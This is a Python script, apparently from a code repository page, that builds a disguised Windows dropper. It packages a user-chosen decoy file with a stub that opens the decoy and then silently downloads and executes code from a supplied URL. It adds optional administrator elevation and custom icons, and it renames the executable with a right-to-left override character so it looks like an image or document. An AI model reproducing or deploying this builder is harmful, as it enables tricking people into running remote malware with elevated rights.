File size: 3,261 Bytes
5fd4c00
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from tkinter.filedialog import askopenfilename , askdirectory
from tkinter.simpledialog import askstring
from tkinter.messagebox import showwarning , askyesno
from shutil import move
from os import chdir
from subprocess import Popen , PIPE , DEVNULL
from PIL import Image
from PyInstaller.utils.hooks import collect_submodules
from requests import get
from tempfile import TemporaryDirectory
def add_modules()->list:
    while True:
        items = []
        item = askstring("module","Enter the modules")
        if item and item.strip() != "":
            items.append(item.strip())
        else:
            return items
def add_submodules()->list:
    while True:
        items = []
        item = askstring("submodule","Enter the submodules")
        if item and item.strip() != "":
            items.append(item.strip())
        else:
            return items
if Popen("pyinstaller",stderr=PIPE).communicate()[0]:
    if not Popen("python -m pip",stderr=PIPE).communicate()[0]:
        Popen("python -m pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
    else:
        open("pythondownload.exe","w+").write(get("https://www.python.org/ftp/python/3.11.9/python-3.11.9-amd64.exe").raw)
        showwarning("Python is required to run this program")
        Popen("pythondownload.exe",stdout=DEVNULL,stderr=DEVNULL).communicate()
        Popen("python -m pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()

tempfolder = TemporaryDirectory()
chdir(tempfolder.name)
Image.open(askopenfilename(filetypes=[("Image",["*.jpg","*.png","*.jpeg","*.ico"])])).convert("RGBA").save("icon.ico", format="ICO", sizes=[(72, 72)])
filename = askopenfilename()
linkofcode = askstring("link of code", "Enter the link of the code")
newname = askstring("","Give name of file")
modules = add_modules()
submodules = add_submodules()
if askyesno("import","Do you want to import all submodules of modules?"):
        allsubmodules = []
        for i in modules:
            allsubmodules.extend(collect_submodules(i))
        submodules = list(set(allsubmodules + submodules))
open("mainfile.py","a+").write(f'''

from subprocess import Popen

from os import chdir

from time import sleep

from sys import _MEIPASS as cdir

chdir(cdir)

Popen("{filename.split("/")[-1]}",shell=True).communicate()

sleep(1)

from tkinter.messagebox import showerror

from requests import get

try:

    exec(get("{linkofcode}",timeout=5).text)

except Exception:

    pass

''')
command = ['pyinstaller', '--noconfirm', '--onefile', '--windowed', '--icon', "icon.ico", '--name', 'software', '--add-data', f'{filename};.']
for mudule in modules:
    command.extend(["--hidden-import",mudule])
for module in submodules:
    command.extend(["--collect-submodules",module])
if askyesno("UAC","Do you want to run this program as administrator?"):
    command.append("--uac-admin")
if askyesno("UAC","Do you want to run this program as Uiaccess?"):
    command.append("--uac-uiaccess")
command.append("mainfile.py")
Popen(command,shell=True,stdout=DEVNULL,stderr=DEVNULL).communicate()
move("dist/software.exe",f"{askdirectory}/{newname}\u202E{filename.split('.')[-1][::-1]}.exe")
tempfolder.cleanup()